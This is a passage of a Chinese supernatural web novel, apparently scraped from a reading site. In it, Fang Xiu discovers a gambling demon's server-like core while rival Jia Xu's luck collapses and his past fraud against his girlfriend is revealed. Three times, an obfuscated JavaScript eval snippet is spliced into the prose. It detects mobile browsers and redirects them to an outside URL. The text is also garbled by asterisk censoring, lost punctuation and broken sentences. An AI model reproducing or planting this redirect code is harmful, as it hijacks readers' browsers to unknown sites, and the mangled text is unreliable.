他这个未成年抛弃队伍换筹码,任谁都会觉得方休状况非常糟糕。 “呃,我不介意兑血债。但是整整五个小时,我一直坐着也不自然…… 方休转向宋铮:“接下来我要说的是重点,小关就拜托你们了。 “关鹤,你那一千筹码兑出来,立刻借给小田。阿清知道小田的幸运增强,厚叔那边不会立刻起疑。 小田食指指着自己,满脸迷惑:“我?借给**嘛? “……和某人对赌,加一点小小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705286|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运气杠杆。 剧痛之中,方休扯扯嘴角。 “来吧,一起让赌场天翻地覆。 …… 中午时分,屋里的人早就散去了。 方休打磨着小李送的桃木桨,调整自己的临时假腿。其实他还缺个铁钩手和骷髅眼罩,他苦中作乐地想。 白双影双手扒在浴缸边看他,不知道在想什么,但他的鬼和窗外山景配合完美 看起来赏心悦目。 咚咚。 就在方休仔细感受这份安宁时房门突然被敲响。 方休动作僵了一瞬随即缓缓起身:“谁?” “我是梅岚。”一个小小的声音答道。 方休开了门门外果然是梅岚。她双手捧着竹碗有点忐忑地看着方休。 她的目光在方休两个伤处流连许久脸上露出些许不忍。 “甘露碗里的水能够净化诅咒。” 梅岚低声说道“我进来给你倒一些吧不知道能不能帮上你的忙……” 方休沉默地让出门梅岚低头进了房间。她朝窗外的山景看了好一会儿半天才再次开口:“真漂亮。” 梅岚并没有贾旭那般意气风发她看上去烦躁又疲惫眼底也带着淡淡的青黑。 “我以为你不会来了。”方休轻快地说道“还是说你打算帮贾旭他们打听打听情况?” 梅岚:“我只是想换一个黄桃罐头。” 几秒后她像是鼓起了勇气“其实、其实我不想跟着贾旭他们。” 方休扬起眉毛看她。 梅岚低下头:“‘水面潜行’在这里派不上用场我头脑也不是很灵光。要是一直跟着你只会给你们增加负担。我知道这听起来很像辩解但我真是这么想的。” 说着她在方休面前排出35枚筹码。 “这两天我也只赌大小一枚一枚地押注。相信我我真的不想待在这里。” “你不信任我我理解我也不打听你的计划。我只想说如果还有什么我能做的……” 方休:“那你把筹码全给我今晚要是不顺利我会在零点前还给你。” 第三禁。手中必须有筹码 梅岚脸色发白:“……” 在这里交出所有筹码和交出性命没什么两样。如果方休不还她筹码她只能临时向贾旭或者厚叔借到时那两人一定会提出各种要求。 方休静静地看着梅岚。 末了梅岚一咬牙还是交出了全部筹码。 “我相信你。”她紧张地说。 “我不相信你也不需要你相信。”方休果断收下筹码“……但我会赢的。” 梅岚抿抿嘴唇没再说什么。 她用甘露水注满了一个玻璃花瓶临走时拿走了一个黄桃罐头。 旁观一切的白双影:“我的身体比甘露水有用。” 方休正在喝饮料闻言差点从鼻子呛出来:“请说‘本体’你的本体谢谢。” “她想要博取你的好感小心。”白双影无视建议继续道。 咔哒方休放下喝空的饮料罐。 “我其实更在意另一件事——为什么梅岚 会知道,那把斩骨刀上带了诅咒?” 方休摸摸滚烫的伤口边沿,望向紧闭的门扉。 “没准我们之中,真的有个黑.道士呢。” 数小时后,夜晚第三次降临。 等待中的门厅热热闹闹,一如平常。 “安全出口”附近,只剩下拄着桃木假肢的方休,以及身材矮小的成松云。他们静静站在阴影里,与欢快的气氛格格不入。 不出所料,贾旭穿越恭敬的人群,挤到两人身边。 “别折腾啦,今晚来一把,我带你。起码先把你这腿给弄回来,这样像什么话!” 贾旭身后的人群都见识过借运骰,纷纷发出羡慕的声音。 方休目不转睛地瞧了他一会儿:“跟着你没问题吗?听说你昨晚运气不太好。” 贾旭表情变了几变,最终大大咧咧道:“也没什么,只是普通的运气差而已。” “有人专门调研过,这里的赌场绝对公正!我只是遇见了小概率事件……” “由赌徒执念凝聚成的赌场,当然公正。” 方休望向欢喜鑫天地的华丽招牌,“但你应该知道,对于赌徒来说,绝对公正的赌场才是最可怕的。” 知道庄家没有做手脚,赌徒反而会更加疯狂,因为他们确信自己还有赢的可能性。 贾旭并没有听进去,他的注意力完全在别处:“你说执念?我第一天就说过,那三条禁忌明摆着催人赢嘛。” “产生‘厄’的执念是‘我要赢’,一点都不难猜。” 贾旭的话语十分自得,充斥着“我比你先发现”的自满。他冲方休伸出手,一副要拉他出泥潭的模样。 方休不吭声,也不动弹。他背靠墙壁,勉强支撑着身体,整个人因为疼痛微微发颤。 “行了方休,我知道选错路不好受,人很难承认自己的失败。” 贾旭颇有感触地咂咂嘴,“你这样撑不过下一次犯忌的,跟我走吧。” 方休摇了摇头,没碰那只手。 “再见,贾旭。”他轻声说道。 第 56 章 天顶之眼 第56章天顶之眼 【从上向下看。】 临进入赌场时,贾旭回头看了方休一眼。 方休少了一条手臂一条腿,活像一棵即将枯死的树苗。有点可惜,贾旭心想,这可能是他们最后一次见面了。 关于安全出口,贾旭从各种人——主要是想跟他套近乎的人——口中听过一二。 进去后,人们必然被拆散,得独自面对各种各样的苦难与心魔。那地方空间极大,根本探不完。 每个人幻境不同,毫无规律可言,因此至今无人能解开“安全出口的谜题。这才第三夜,虚弱的方休更不可能做到。 贾旭原以为方休能认清形势,谁知道方休比他想象的还要傲气。 他的公司里也曾有这样认死理不配合的大牛,故事的结局永远是他把他们开掉。 空有实力,不懂得变通,终究成不了气候。 贾旭踏入欢喜鑫天地的大门,深深嗅闻了一口赌场的空气。空气带着淡淡的香水味道,晃眼的灯光泼洒而来,他如同站在聚光灯下。 事到如今,贾旭不想解厄了。 反正他和父母的关系也就那样,他也还没有自己的家庭。朋友么……就那么回事,酒肉朋友罢了。 留在这里有什么不好? 绝大部分人们忙碌一生,为的不就是肉身欲望和精神满足吗? 开始他舍不得自己光鲜亮丽的工作。现在贾旭发现,自己在这里能收获同样的满足。 男男女女抛过来的目光都充满谄媚。无论他们之前是名流明星,还是领域大佬,他们热情地簇拥着他,仿佛他才是此处的命运主宰。 他们自愿提供身体与人脉,许下各种慷慨的承诺,只为从他这里换取一丝好运——而要不要赠予这丝好运,全看他贾旭的心情。 另一方面,借运骰由地府强力绑定,还有厚叔为他保证安全,他无需担心任何事。 他是幸运的,他从来没有这样幸运过。 所以昨天输的那几场,必然是概率上的正常情况。 ……今天玩点什么呢? 贾旭搂住一位身材丰满的十八线明星,在偌大的赌场中漫步,像是国王巡视自己的国土。 然后他就发现了在服务台徘徊的关鹤。 关鹤面对服务台身材**、衣着清凉的工作人员,眼睛都不知道该往哪里放。他脸涨得通红,目光死死钉在鞋尖上。 贾旭咦了一声:“你没跟着方休? 关鹤实打实吓了一跳,半天才反应过来:“没、没跟着。 “这回方哥没怎么跟我解释,而且他的样子很奇怪。我有点担心,他直接让我过来换筹码…… “看来他是不自信了。”贾旭唉了声。 随即他弯起指节,熟练地敲敲服务台,“过来,帮我朋友换个筹码。” 台边的美女盈盈一笑:“小伙子,换什么呀?” “血债。”关鹤头埋得更低了。 “好的,请您稍等。” 工作人员熟练地推出一个怪模怪样的电子屏,“请您在这上面按下整个掌印,授权我们处理您的因果。” 想到欢喜厄的本体,关鹤一阵不舒服。贾旭以为他还在犹豫,笑了:“怕啥,那玩意儿不咬人。” 关鹤:“……嗯。” 他不情不愿地把手按了上去,工作人员的笑容瞬间妩媚了许多。 “血债兑换完毕。” “接下来,您的血债案件将流传于阳间互联网,并引起巨大的关注;欢喜鑫天地也将播放您的人命因果,感谢您为大家的生活提供欢乐!” 金灿灿的1000筹码被她按上柜台,滑到关鹤面前。 筹码上的“1000”活泼地眨着眼,像个无邪的孩子。 同一时间,伴随着一阵欢快的音乐,服务台上方的巨大屏幕一阵闪烁。 它以关鹤的第一视角,播放起来车祸**发生的那一夜。更可怖的是,它连关鹤当时的想法都抓了出来,画外音一样搭配播放。 见有新的热闹可以看,人们纷纷赶到服务台,好奇地望向大屏幕。 关鹤知道,自己的血债在常人看来可能不算什么。然而看到熟悉夜色的第一眼,他迅速闭上眼睛,塞住耳朵,猛地蹲下身体。 说实话,关鹤之前不太明白,为什么欢喜厄要“公开血债”。而在这一刻,他切实领会到了它的目的。 它想断掉兑换人“回归人世”的念头。 自己的血债已经是最容易被谅解的那一种。但一想到他最黑暗的记忆将在现实世界传播,有那么一秒,连他都不想再回去了。 关鹤无法想象,自己的母亲会是什么表情。 **蹲了多久,才被贾旭拉起来:“好啦好啦,放完了。又没什么大事,看你吓得这样。” 黄毛不知什么时候凑过来,嬉皮笑脸地拍了他一下:“真不像个男人。” 贾旭:“1000筹码不少了,今天我带你玩。要是赢得多,晚上带你见识见识,好好开个荤。” 关鹤眉头紧皱,嘟囔:“……我还没成年。” 贾旭笑起来:“人家古代十四五都当爹了,十六还不够大?我知道高中生也玩得挺花,都到这了,咱不用装哈。” “这儿的姐姐服务贼到位,包你不想再走。”黄毛跟着起哄。 关鹤有点犯恶心,他脱开贾旭的手:“我跟小田说好了,今晚跟着她 。 黄毛:“哟,这是有喜欢的姐姐了? 贾旭回忆片刻:“那个‘幸运增强’的小田? “是的我们提前说好了我今晚想先静一静。关鹤退后半步,一口气说道。 贾旭倒也不强留,他颇为大方地摆摆手:“去吧去吧,你什么时候想通了,什么时候再找我。 关鹤没有立刻离开,他缓了会儿呼吸:“你就都不担心方哥的事情吗?他好歹带着大家过了两场祭祀。 “道不同不相为谋,再说我邀请过他了,算是仁至义尽。 “你阅历少,看不透也正常。就算没有我们,方休依然会挑战祭祀。归根结底,他还是为了他自己。 关鹤:“那他完全可以不管你们! “人多了好出力,他当然要保存队伍人数。方休这一路又不是全凭自己解厄,大家都帮了不少忙好吧?你看问题不要太单纯。 贾旭又点了根烟,语气深沉,“现在呢,你留在这,对我没有半点用处——我正在做的事,才叫‘单纯地帮你’。 关鹤一时间不知道该说些什么好,他知道哪里不太对,却说不过贾旭。 于是他只能扭头就走。 黄毛:“哎哟,热血少年。贾哥你还管这小子吗? “管啊。等方休**,他自然会知道好赖。贾旭轻描淡写道。 比起方休那边全军覆没,他把方休的棋子拉到自己阵营,才算更彻底的“赢。 “……走,先去玩两把。 赌场另一边。 关鹤是一边骂人一边找到小田的。 蘑菇三人组已经全员完成赌大小,手中还剩可怜兮兮的8筹码。关鹤加入蘑菇三人组后,小田对着金灿灿的筹码不知所措。 关鹤的1000金筹码,加上方休额外给她的35枚不知道哪儿来的筹码,以及他们扣除保命筹码后的5枚筹码……现在她手中,足足有1040筹码。 ……她八百辈子没见过这么多筹码了! 小田咕咚吞了口唾沫:“真、真要赌吗? 关鹤:“那不是赌。 小田有点紧张地哦了声。 严格意义上来说,那确实不算“赌。 按照方休的指示,小田需要跟住贾旭,在他的赌局中投入1筹码,并且绝对不能和贾旭押一样的结果。 这种行为比起**,更像是给贾旭的赌局下毒——贾旭的借运骰需要主动使用,小田的“幸运增强可是地府支援的被动技。 贾旭昨晚用借运骰表演了一把**赌,又陆陆续续输了几局扑克。现在他手里还有足足8320个筹码,小田总有种以卵击石的不安。 方休究竟怎么想的?坑自家队友和 解厄没什么关系吧? 小田不太清楚,这怎么就能让赌场天翻地覆。但俗话说**嘴短,他们的宋队长都和人家约定**契了,她也没别的想法。 于是小田同志脱下外套,解开马尾辫。她去休闲区捞了个亮闪闪的眼罩假面,又顺道涂了个大红嘴唇,从干香菇进化成了鲜艳的毒蝇伞。 剩下三位香菇男士则蹲在不远处的绿植后,保持暗中观察。 “报告,我方开始行动!”小田严肃地比了个手势,款款走向贾旭的方向。 …… 安全出口。 因果之线散发出血红微光,一路指向高处的黑暗。白双影引着因果之线,成松云扶住方休,两人一鬼顺着台阶往上走。 那根因果之线虽然能指出正确的道路,却解不开幻象。于是两人的前行速度还是很慢—— 进门走了三个半小时,方休听了成松云整整三个小时的唠叨,主题是“方休你太瘦了,这样不好”。 方休无奈,他第一百次指天发誓:“知道了成姐,我回去一定好好吃饭。” 看透因果后,成松云情绪是好了点,但仿佛解开了另一重封印。 她无视方休的誓言,继续:“光好好吃饭不行,你得多吃点肉啊,身子虚很容易生病的我跟你说。这年头感冒发烧,瘦子更不容易扛……” “我闺女有段时间也特喜欢减肥,那身板我看着就害怕,人还是要健健康康的……” 方休:“……” 方休将求救的目光转向白双影。 白双影不理他。 方休小声:“我错了,我不该说你是鬼中月老。” 白双影扭过头去,还是不理他。 方休无言,他发现他的鬼在某些方面真的很有脾气。 几个小时前,他们刚进安全出口,成松云就开始询问“为什么艳鬼还能看因果”这件事。方休不知道白双影的真正种族,于是当即已读乱回。 他把白双影描述了一种可以扰乱他人因果,以此扭曲姻缘线的艳鬼。还绘声绘色地表示这是“鬼月老” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705287|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以白双影才以男性形象示人。 与此对应的还有“鬼媒婆”。男左女右,“鬼月老”的月老痣在左上脸,“鬼媒婆”的媒婆痣在右下脸…… 要不是情境不合适,方休连白双影的起源故事都能编出来。 成松云听得一愣一愣,白双影却听得表情逐渐消失,最后连五官都**性消失了。 方休以为此鬼几个小时后会消气,结果三个小时过去,白双影还是字面意义上一脸空白。 发现大事不妙,方休停下脚步,一瘸一拐地倚住白双影。 “对不起。”他蹭蹭白双影的袖子,小声咕哝,“我不知道你 这么在意这些……” 白双影空白的面皮上长出孤零零一只眼垂眼瞧方休。 “以后我就说你是特别厉害的艳鬼厉害到能撼动人类的姻缘线!” 方休又蹭了蹭他的袖子这个人类身上还是很烫皮肤上沾满疼出来的冷汗。可方休的语调活泼一点都不像在忍受疼痛。 “……这个说法行不行?鬼月老这个名字不好听咱们不叫了。”方休软言软语道。 几秒后白双影默默长回五官然后他发现方休又在偷笑。 白双影:“?” “我只是很开心。” 方休贴着他凉凉的袖子“你看你知道我不喜欢事情失去控制我知道你不喜欢被大肆编排身世……想加深朋友关系就是要逐渐了解对方不喜欢的东西。” “今天我多了解了你一点这种感觉特别棒。” 白双影有点被搞糊涂了。 现在的方休看起来真心满满可他在说“讨厌事情脱离掌控”的时候完全不是这副温顺模样。 这个人类总是这样想要朋友想要陪伴却在某些时刻比邪祟还要残酷。 白双影隐隐想到了什么可他的记忆太过浩瀚抓住那丝灵光异常困难。 就在他全力翻找回忆的时候阶梯到了尽头。 打眼一看阶梯终点是一个设备房一样的隔层。它积了厚厚的灰四壁和地板都是裂了缝的灰水泥 红线在地板上拉直消失在了房间正中央。方休举高鬼焰和成松云一起上前。 他们发现了一个镂空的装饰天窗。 这天窗不大形状像是一只人眼。因果红线从眼瞳的位置穿过直直指向下方。下方空间巨大被夜晚的月光照得很亮。 看清下面情况的那一瞬成松云**两步当场干呕起来。方休则收了脸上的轻松神色专注地观察。 找到了。 成松云的因果红线直直坠下消失在一个占地大约十立方米的机器之内。 那机器像是并在一起的黑柜子其上闪烁无数红光。它的表面覆了一层脑髓质地的异物。它们包覆了机器的一半颤巍巍蠕动不止其上不时凸出变形的人脸。 黑柜子上方无数阿拉伯数字和应用图标闪烁变幻。它们化作金色洪流绕成一个巨大而立体的“∞”字形仿佛扭曲的天使光轮。 ……欢喜厄确实是个**APP方休心想。 ……只是它的载体并非手机他们找到了它的服务器。 然而他们现在面临一个糟糕至极的问题。 方休沉默地俯视着欢喜厄。 事实证明他们正在“欢喜鑫天地”的顶楼天窗。方 休看到了贾旭和黄毛,看到了关鹤和蘑菇三人组,也看到厚叔一行人。 可从这里看过去,欢喜鑫天地不再是一个让人愉快的地方。 方休从未这样鲜明地感受到“幻象”意味着什么—— 今夜月光明亮,欢喜鑫天地内的一切纤毫毕现。 欢喜厄的本体替代了环形服务台的位置,处于整个大厅正中心。 没有灯光与音乐,没有漂亮的壁纸与华丽的厅堂。 天窗下只有一个荒废大厅,碎裂的地砖上堆满泥灰,断裂的柱子露出钢筋。地上横着数百具尸骨,它们在幻象中化作精细的地毯花纹,无人在意。 没有华服与珠宝,没有烟酒美食或完美的伴侣。 所有人身上都穿着原本的衣服。有人拥抱着一团空气,动作极近猥琐。还有人用拿水果的姿态拿着一块腐肉,优雅地往嘴里送。 而绝大部分人对着虚空手舞足蹈,他们狂**注视着不存在的赌局,押注不存在的筹码。 方休认出了厚叔。 从这里看,厚叔一点也不胖,反而瘦得像一具干尸。 他身上的衣服沾满尸水与血浆,硬得像是水泥板。他的头发因为脏污而结块。要不是厚叔的五官挺有辨识度,方休都不敢确定。 可他的站姿很自信。 他背着手,挺着不存在的肚子,一副一切尽在掌握的模样。哪怕他一只眼珠已经脱出眼眶,湿淋淋地吊在脸上。 幻象之内,享乐之中。人们挤成一团,环绕着欢喜厄快速移动。 他们在光明璀璨的幻象中奔走舞蹈,维持着诡异的秩序,如同发了狂的蜜蜂。 除了不在场的方休与成松云,以及和他们打配合的关鹤、蘑菇三人组。 ……沉醉于欢喜厄的“狂蜂”,一共八百八十二只。 第 57 章 平庸之恶 第57章平庸之恶 【唯一的出路。】 白双影并不在意下方可怖的幻象。 他饶有兴趣地看着欢喜厄,准确地说,是看着欢喜厄上那层“脑髓”。在白双影漫长的生命中,他从未见过这种东西。 ……那是无数残魂碎片的集合体。 这些残魂没有强悍到自身化鬼。它们因为相同的执念汇集在此,借由欢喜厄融合,化作全新的邪祟。 只是残魂们来自天南海北,人生因果互不相干,这种“融合”极度脆弱。别说修成鬼仙,它连正常邪祟都打不过,不过是胡拼乱凑的碎渣。 怪不得地府那样厌恶欢喜厄。 欢喜厄疯狂吞噬因果,成长迅速,对阳间威胁极大。 与此同时,它绊住并消耗了大量祭品,却不可能孕育出鬼仙——它自己催生的邪祟脆弱无比,外来邪祟过来连饭都没得吃,无法正常修厄。 无论对于阴间阳间,这玩意儿都称得上有害无益。 “……原来如此,欢喜厄和恶性肿瘤差不多。它只会疯狂抢养分,直到拖垮整个祭祀系统。” 听完白双影的解释,方休总结。 不知为什么,此人居然听得双颊泛起血色,看起来有些兴奋。 “所以说,那只邪祟不足为惧,我们只需要解决那群人类。” 白双影:“……” 这句话听起来很悦耳,但他总觉得它不该从方休嘴里冒出来。 成松云终于缓了过来:“所、所以‘安全出口’的意义,是让咱们看到现实?” “如果那真的是现实,为什么欢喜厄还要保留安全出口……?” 他们成功找到了厄,她却一点都开心不起来。 下面的场景太过疯狂,成松云有点难以接受,她宁愿那是又一个幻象。 否则,他们的境况过于糟糕了。 欢喜厄的本体如此庞大,还有那么多人护在旁边,成松云想不出要怎么破坏它。 找外援也不可能。就算他们告诉那群人真正的现实,人们也不会相信——尤其是厚叔那样在这里“事业有成”的类型。 退一万步,就算方休有破坏它的办法,此刻离晚上十一点半还有不到一小时,这里很快就会关闭。 而他们要进入欢喜鑫天地,最早也得等明天。方休难道还要硬扛一次犯忌?他的身体还能撑吗? 成松云越想越不安,别说沉迷灯红酒绿的那一边,连她都不太想接受现实。 “没准下面的景象也是幻象。欢喜厄故意误导我们,想引我们自我毁灭。”她字斟句酌地说道。 “不,这就是现实。” 方休摸摸满是尘土的水泥板, 看着楼下红灯闪烁的服务器。这次贾旭没有猜错催生欢喜厄的执念正是“我要赢”。 只是它并非某一个人产生的强烈执念而是由千千万万的**APP用户聚合而成的执念堆突出一个量变引发质变。 “欢喜厄再智能它总归是个‘物件’。说到底这个地方还是依托人的执念产生的。” 他轻声说道“就算是它也不能强行扭曲自己的本源。” 成松云:“我不明白这地方和‘想赢’的执念有什么关系?” “成姐其实除了‘想赢’赌徒还有一个共同点。” 方休朝成松云笑了笑“……他们始终牢记‘安全出口’的存在。” “他们知道应该远离**应该老老实实工作生活哪怕钱来得又少又慢。” “他们知道应该趁早收手应该走正道偿还赌债哪怕要吃上几年甚至几十年的苦头。多浅显的道理连小孩子都明白。” 说到这里方休停了会儿。 “然而一旦赌赢过一次人就很难再面对现实了。”几秒后他继续道。 同样是赚一万块的钱天天早出晚归拼命工作和躺在床上玩玩手机哪个更轻松一目了然。 同样是欠一百万的债全家人节衣缩食还个十几年和试着**翻本两者的压迫感也完全不同。 ……正是因为不想面对“安全出口”赌徒“想赢”的执念才会生生不息。 所以欢喜厄是无法抹除“安全出口”的它只能想方设法增加它的难度。 成松云沉默许久。 她摩挲着开裂的水泥板红肿的眼睛又有些湿润。半天她什么都没说只是叹了口气。 方休则继续看向天窗下方。 时间差不多了他想。 …… 欢喜鑫天地。 三个多小时下来贾旭额头见汗。 这三个多小时他基本赌什么输什么。贾旭强作镇定 阿清安慰他说自己猜大小连输过十局那种事情发生的概率还不到千分之一。贾旭这种情况很正常只是普通的运气不好。 “我知道好事多磨嘛。” 贾旭轻松道“我手里还有6000多个筹码呢大不了最后我也去赌大小。” 黄毛:“不会是那个借运骰……” 贾旭脸色立刻难看起来:“那东西要从死期倒着算!怎么着你觉得我这两天能死?” “呃我就一说你急啥。” 黄毛连忙补救“要不咱现在就去玩赌大小就玩那个什么倍投先把今天的赢了再说呗。” 贾旭觉 得有点道理。 阿清当初那么倒霉也就是连输了十把。他输了这么多次正好找个定心丸吃一吃。 自己手里一共6000多筹码足够倍投赢一场了。说不定结结实实赢一次他就可以转运了呢! “行我去感受感受倍投。”贾旭走向赌大小的区域。 他这么一走 贾旭选了一位看着颇有书卷气的美女荷官在赌桌前站定。不出几秒周围就被人围得密不透风。 一片祝福打趣声中贾旭按下一枚筹码。 第一局输。 第二局输。 …… 第五局输。 虽说只是损失了区区31筹码贾旭的脸色已经相当难看了。周围人渐渐平静下去低语声中多了别样的味道。 第六局更多的人开始与贾旭反向押注。其中甚至包括黄毛——黄毛把自己的一半身家押了下去。 押完后黄毛冲一个戴面具的美女挤挤眼。 今晚他总是偶遇这个神秘女人。 她穿得简简单单长发散成大波浪涂了烈焰红唇一看就是那种非常火辣的姑娘。尽管她戴了遮住眼周的面具黄毛看得出来这姑娘姿色不错。 最重要的是她的运气同样不错。 贾旭输的那些赌局她要么直接赢要么不输不赢。可惜她每次只押一枚筹码看得黄毛心里痒痒的。 这一次发现她用一枚筹码压和贾旭相反的结果黄毛果断出手。 荷官开骰贾旭果然又输了黄毛的筹码瞬间翻倍。 爽啊!黄毛朝那姑娘猛飞媚眼只是那姑娘没什么表情像没看见他似的。 周围的低语声更响了嗡嗡嗡嗡吵个不停贾旭面色一阵青白。 他听到有人窃窃私语质疑他的寿命还有人认为厚叔没说清楚借运骰的副作用。更多的人则是掏出筹码准备跟他反着押。 别在意才输了几十个筹码这说明不了任何东西贾旭安慰自己。 阿清不也这样过么正常现象正常现象…… 第七局第八局第九局第十局。 输。输。输。输。 一会儿的工夫过去贾旭就追平了阿清的霉运记录。一层近四分之一的人都挤在了贾旭身边越来越懒得掩饰狂热。 不少人拿出大量筹码堂而皇之与贾旭反着押。他们似笑非笑地看着他称赞贾旭“控制运气造福大家”。 贾旭脸色涨红额头青筋跳了跳推出了第十一局倍投的1024枚筹码。 他很想启用借运骰干干脆脆赢一把让那群冒犯 他的人输得倾家荡产。可是这么多双眼睛看着他一旦拿出骰子所有人都会立刻跟着他押注。 不行还不行。 拜托了幸运女神。我知道我走到今天已经幸运爆棚了但你也不能这么搞我吧。贾旭耳朵嗡嗡作响有点听不清荷官那悦耳的声音。 第十一局……第十二局…… 明明只是短短两局可贾旭像是在这坐了两年。 他输了又输了为什么? “连输十二局的概率是多少?”贾旭哑着嗓子问阿清。 他假装在别处输的那几局不存在。不是同一个项目就不该算在一起不是么? “万分之一二吧。”阿清推推眼镜干巴巴地答道。 **挑一**挑一……还好贾旭想。 他学习的时候成绩是**挑一。他成功创建自己的公司能力又何止**挑一?偶尔来个**挑一的坏运气也不奇怪不是么? 可是准备押注第十三局的时候贾旭发现一个可怕的问题——他手里的筹码不够了。 按照倍投打法第十三局要押注4096筹码才能回本。可他前十二局已经输了4095筹码 贾旭茫然了一秒。 今天他进场的时候明明还有8320筹码怎么会这么快?这可是最最基本的赌大小啊! 贾旭木然转过头正对上满脸是笑的黄毛。 黄毛啪地拍了下他的背笑道:“要不要我借你2000多啊我刚赚了4000多筹码。” “果然这玩意儿就是撑死胆大的饿死胆小的——” 阿清抽抽嘴角给出另一条建议:“要不你管厚叔借点吧厚叔肯定不会收你太高利息。最多来个8%。” 他们的声音几乎要被周围的起哄声盖过—— “贾老板大气!”“贾老板一出手就是异象呐!” “贾老板玩儿够了吧给大家看个大的!” 黄毛赚了个盆满钵满周围坚持反押的人更不必说整个赌大小的区域气氛格外欢快。 之前那些热情巴结贾旭的人则对贾旭露出了微妙的眼神时不时低声交流着什么。厚叔看场子的手下也定定看着贾旭表情多了一丝狐疑。 “贾老板来一个!” “贾老板来一个!” “贾老板来一个!” 热闹的起哄声中贾旭双手发冷。几秒后他猛地站起身走向服务台。 “能兑的都兑了。”他说。 黄毛刚追上闻言愣了一秒:“不是贾哥这么狠啊?” “反正我又不打算走了早晚的事。”贾旭轻飘飘地说“待会儿我他妈真要玩个大的。 ” 黄毛左右看看压低声音:“可是血债会当众放咱还得在这混。” 贾旭嗤笑一声:“我又没动手**我怕什么?” 说完他果断朝服务台确认“那张兑换表上的 “兑换完毕合计2024筹码祝您鸿运当头、吉星高照!”工作人员甜甜地说道。 “接下来您的血债案件将流传于阳间互联网……” 贾旭左耳朵进右耳朵出一双眼直直盯着那两枚金筹码。 同一时间大屏幕亮起。 正在伪装蘑菇的关鹤忍不住抬起头观看这位同伴的血债。 和他那直截了当的“事故夜晚”不同贾旭的血债没有集中一天播放而是由无数片段组成。 贾旭的前半生运气极好。 他毕业后跟人合伙创业正赶上好时候。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15705288|142489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出几年贾旭买了豪宅豪车还谈了个学历高家境好的漂亮女友名字叫秦望舒。 两人去A国旅游时贾旭在拉市赌了一把。 他最初没什么兴趣只是陪女朋友四处逛的时候顺手玩了一局**。谁想当场爆出大奖贾旭中了200多万A元。 就算对于富裕的贾旭来说这仍是一笔不小的财富。 看着惊呆的女朋友贾旭矜持地表示他的运气一直不错—— 他出生于普通家庭学习成绩中等偏上。但他高考超常发挥撞上省内分数线降低居然挤进了全国顶尖名校。 更别提之后的创业成功有时贾旭都怀疑人生开了简单模式。这不老天又直接塞给他一千多万。 贾旭当场花掉了几十万A元给秦望舒买了一堆奢侈品两人开开心心尽兴而归。 回国后贾旭开始了“小赌怡情”。 国内合法的城市太远他就在APP上玩。尽管很多人说“代码操控概率”贾旭不屑一顾。他自己就是开游戏公司的还不懂这些? 代码又不可能专坑他一个有人输就有人赢。 他只需站在赢的那边及时收手就好。 第一个月贾旭把给女友买礼物的几十万A元全赢了回来轻松“报销”。 第二个月他把拉市赢来的200多万A元全部输光。 没了那笔横财贾旭的生活仍然富足但他怎么也咽不下这口气。 这个软件挺公正他没发现庄家做手脚的迹象。正因为如此贾旭感觉输光的自己像个**。 得赢回来。他之前能轻松赢个上百万再翻盘就行。 毕竟他的运气一向很好。 第三个月贾旭失去了全部存款。他不想跟年迈的父母开口决定朝秦望舒借钱。 贾旭谎称公司 项目出现问题,急需资金。秦望舒担心他的事业,便把之前收到的礼物尽数变卖,钱给了贾旭。 “这些都是你送我的,不用还了。”她说。 贾旭在她面前感动得红了眼眶,情话说了又说,然后两天把钱输了个干净。 他忍了几天,再次以项目的名义向秦望舒借钱。他沉痛地表示钱还是不够,他连爹妈都借遍了。 秦望舒有点犹豫。父母严格的教育下,她在钱财方面一向谨慎。 “我不是刚给你两百多万吗?”她小声问。 贾旭表情微微一变:“‘你给我’?那是我给你买的东西,是你还我。” “我不是那个意思……” “我知道你担心什么,我给你打借条。”贾旭语气冷淡,“收礼物的时候开开心心,金钱往来就公私分明,你还挺会的。” 秦望舒难过地看着他,最终还是掏出了自己的存款。她自己攒的钱加上家里的生活费,总共有个小两百万。 贾旭到手这笔钱,一路赢到了四百多万,心情大好。 当晚,贾旭精心布置了烛光晚餐。他当场还清借款,还给秦望舒买了昂贵包包。 他对她轻声道歉,说上回自己心太乱,只是口不择言。 秦望舒原谅了他,收了钱,但没有收那个昂贵的包。 “以后你不要送我太贵的东西。”她欲言又止道。 …… 接下来,便是借钱还钱的无尽轮回。 秦望舒给的钱终究见了底,贾旭本金告急。 想到秦望舒信用良好,名下资产也不少。贾旭干脆让秦望舒以个人名义贷款,美其名曰投资。 “我之前是没还钱还是没写借条?你信不过我?” 秦望舒:“可是你又都借回去了……” “公司的事我也没办法。你很急吗?要不要我挪用**还你钱?”贾旭皱眉,声音高了个八度。 